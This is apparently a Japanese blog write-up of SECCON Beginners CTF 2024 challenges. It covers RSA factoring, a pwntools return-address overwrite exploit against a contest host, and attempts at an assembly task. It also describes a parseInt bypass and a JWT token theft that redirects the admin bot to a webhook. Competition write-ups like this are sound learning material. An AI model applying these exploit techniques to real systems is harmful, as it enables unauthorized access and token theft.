SECCON CTF for Begginer 2024 WriteUp

# 概要
久しぶりの投稿です。

本記事は、先日末2024/6/15 (土) 14:00 JST から 2024/6/16 (日) 14:00 JST で実施されたctf4b 2024のwriteUpです。
とりあえず、回答できた問題を中心に記載していきます。

## 結果
今回も１マンチームで参加し、
最終結果は、402/962 th、226 point でした。
要復習ですね･･･


# 環境
Windows + Kalilinux
プログラムはすべてPython3
その他、各種ツール

# Welcome
いつも通り、Discodeに。
解答送信する際に一度サーバーが落ちたのか、不安定になっていて解答が何度も送信できず･･･

# Crypt
## Safe Prime
```
Using a safe prime makes RSA secure, doesn't it?

Safe_Prime.tar.gz 774280c0d7d278ed01f537b13014fa15b4dc1d3a
```

```txt:output.txt(配布ファイル)
n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291

c = 40791470236110804733312817275921324892019927976655404478966109115157033048751614414177683787333122984170869148886461684367352872341935843163852393126653174874958667177632653833127408726094823976937236033974500273341920433616691535827765625224845089258529412235827313525710616060854484132337663369013424587861
```

`n`,`e`,`c`がすでに明示されています。
さらに、`q`が`p`で記述可能な式`q=2p+1`で与えられています。
なので、わざわざ`n`を素因数分解しなくても`q`が`p`導出可能です。

以下、`p`,`q`の導出に使用したコードです。

```python:
import gmpy2

gmpy2.get_context().precision = 1000 

def find_p_and_q(n):
    n = gmpy2.mpz(n)
    
    discriminant = 1 + 8 * n
    
    p = (1 + gmpy2.isqrt(discriminant)) // 4  
    q = 2 * p + 1
    
    return int(p), int(q)

n = 292927367433510948901751902057717800692038691293351366163009654796102787183601223853665784238601655926920628800436003079044921928983307813012149143680956641439800408783429996002829316421340550469318295239640149707659994033143360850517185860496309968947622345912323183329662031340775767654881876683235701491291

p, q = find_p_and_q(n)

print(f"n = {n}, p = {p}, q = {q}")
```

`p`,`q`が分かったので、後は`phi`,`d`が出せるので、平文`m`が導出できますね！

![answer.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/653289/fa3941b6-5e5d-ddb0-5227-f665a6d601d3.jpeg)


## math（未回答）
```
RSA暗号に用いられる変数に特徴的な条件があるようですね...?

math.tar.gz 2740fceb50df89f4638a1e3b6ded3487a55461fc
```

```txt:output.txt(配布ファイル)
n = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649220231238608229533197681923695173787489927382994313313565230817693272800660584773413406312986658691062632592736135258179504656996785441096071602835406657489695156275069039550045300776031824520896862891410670249574658456594639092160270819842847709283108226626919671994630347532281842429619719214221191667701686004691774960081264751565207351509289
e = 65537
cipher = 21584943816198288600051522080026276522658576898162227146324366648480650054041094737059759505699399312596248050257694188819508698950101296033374314254837707681285359377639170449710749598138354002003296314889386075711196348215256173220002884223313832546315965310125945267664975574085558002704240448393617169465888856233502113237568170540619213181484011426535164453940899739376027204216298647125039764002258210835149662395757711004452903994153109016244375350290504216315365411682738445256671430020266141583924947184460559644863217919985928540548260221668729091080101310934989718796879197546243280468226856729271148474
ab = 28347962831882769454618553954958819851319579984482333000162492691021802519375697262553440778001667619674723497501026613797636156704754646434775647096967729992306225998283999940438858680547911512073341409607381040912992735354698571576155750843940415057647013711359949649102926524363237634349331663931595027679709000404758309617551370661140402128171288521363854241635064819660089300995273835099967771608069501973728126045089426572572945113066368225450235783211375678087346640641196055581645502430852650520923184043404571923469007524529184935909107202788041365082158979439820855282328056521446473319065347766237878289
```

```python:chal.py(配布ファイル)
from Crypto.Util.number import bytes_to_long, isPrime
from secret import (
    x,
    p,
    q,
)  # x, p, q are secret values, please derive them from the provided other values.
import gmpy2


def is_square(n: int):
    return gmpy2.isqrt(n) ** 2 == n


assert isPrime(p)
assert isPrime(q)
assert p != q

a = p - x
b = q - x
assert is_square(x) and is_square(a) and is_square(b)

n = p * q
e = 65537
flag = b"ctf4b{dummy_f14g}"
mes = bytes_to_long(flag)
c = pow(mes, e, n)

print(f"n = {n}")
print(f"e = {e}")
print(f"cipher = {c}")
print(f"ab = {a * b}")

# clews of factors
assert gmpy2.mpz(a) % 4701715889239073150754995341656203385876367121921416809690629011826585737797672332435916637751589158510308840818034029338373257253382781336806660731169 == 0
assert gmpy2.mpz(b) % 35760393478073168120554460439408418517938869000491575971977265241403459560088076621005967604705616322055977691364792995889012788657592539661 == 0
```

前提条件より、`p`,`q`,`x`がシークレット、`a`,`b`として'p-x',`q-x`が与えられていますが･･･除去方法が分からず断念。

# Pwnable
## simpleoverflow
```
Cでは、0がFalse、それ以外がTrueとして扱われます。

nc simpleoverflow.beginners.seccon.games 9000

simpleoverflow.tar.gz 02d827ce1b22d3bb285f93d6981e537f34c49e32
```

問題文の記載の通り、シンプルにオーバーフロー起したらフラグ貰えました。

## simpleoverwrite
```
スタックとリターンアドレスを確認しましょう

nc simpleoverwrite.beginners.seccon.games 9001

simpleoverwrite.tar.gz 98f8e4f182185e9ed40e195c1921561eba79494b
```

配布された実行ファイルをGhidraなどで確認すると、フラグを出力しているwin関数を発見。
しかし、通常の動作ではwin関数を呼び出していない。
オーバーフローする入力文字数と、win関数のアドレスを調べて、以下のように解答用のコードを作成。無事、フラグを入手できました。

```solve.py
from pwn import *

isOnline = 1
if isOnline==1:
        io = remote("simpleoverwrite.beginners.seccon.games", 9001)
else:
        io = process("./chall")
io.recvuntil("input:")

io.send(b"a"*18+(0x00000401186).to_bytes(13, "little"))
io.interactive()
```

![answer.jpg](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/653289/8eeb2e18-faea-9ff1-a642-1653ad42479e.jpeg)

# reversing
## assemble（未回答）
```
Intel記法のアセンブリ言語を書いて、flag.txtファイルの中身を取得してみよう!

https://assemble.beginners.seccon.games

assemble.tar.gz d68dd70d722c38f90c8c4a8e8c36be6a94e3fab4
```

`mov`,`push`,`syscall`のみを利用し、25未満の命令数で、①～④の各ステップをクリアする必要がある。
①～③まではクリアできたが、上記の制約の上で`flag.txt`の中身を表示する方法が分からず断念。
アセンブラに弱すぎる･･･

```txt:解答途中まで。（コメント追加しています。）
    mov rax, 0x123
    push rax

    mov rax, 0x0a21646c72   ; 'dlr!' + '\n' (Little Endian)
    push rax                ; RAX をスタックにプッシュ

    mov rax, 0x6f6c6c6548   ; 'Hello' (Little Endian)
    push rax                ; RAX をスタックにプッシュ

    ; write システムコールの引数を設定
    mov rax, 1              ; sys_write の syscall 番号
    mov rdi, 1              ; ファイルディスクリプタ 1 (stdout)
    mov rsi, rsp            ; 文字列のアドレス（スタックポインタ）
    mov rdx, 6              ; 書き込むバイト数 ("Hello\n" の長さ)

    syscall                 ; syscall の呼び出し
```

# Misc
## getRank
```
https://getrank.beginners.seccon.games

getRank.tar.gz ac08b24f889e041a5c93491ba2677f219b502f16
```

単純にBurpsuiteやcurlなどで直接`score`となる`input`の値を、条件を満たすように送付すれば良い。
なお配布されたコードを読み進めると、rank1となるための以下の制約・条件が分かった。

- rank1を取得するには、`score`が10**255より大きい値でなければならない
- しかし、10**255を超えてしまうと、スコアが減らされてしまう。
- さらに入力が300文字を超えると、そもそも弾かれる
- なお、10**255では、findindexの条件より、rank1を満たせない。

ここでTypescriptの入力とjavasxriptのParseIntが同一の動作をすると思い込み、先に進まず断念。
javascriptでは数値以外は評価されないが、TypescriptのParseIntでは式評価される。
ので、上記の制限を超えないギリギリの値を送るような式（16進数で`f`を制限を超えない程度にRank1となる数送れるような値）を送ればOK


# Web
## wooorker
```
adminのみflagを取得できる認可サービスを作りました!

https://wooorker.beginners.seccon.games

脆弱性報告bot

wooorker.tar.gz 2911ea65e5bb56cca44780edeae2ccf8c0956a52
```

JWT問題。
コードを見る限り、guestアカウントの情報しか分からない。
目的として、Admin権限でのJWTトークンの奪取が考えられる。

今回、ログインするページとは別に、Admin権限で自動でログインしてくれるクローラープログラム（脆弱性報告bot）が動いている。

guestアカウントでのログイン後の動作、コードを見るに、ログイン後にトークンが吐き出されている事が分かる。
そのため、このサイトの`next`パラメータにWebhookなどで引っかけてやればトークンが取れる･･･
と想定していましたが、何故かフックせず。断念。
他の方のWriteUpを読んでいても、同じ回答であったため原因究明中。

# 今後の課題
- そろそろ真面目に、長時間のイベントや競技では、休憩時間を計画してないとマズいと痛感してきています。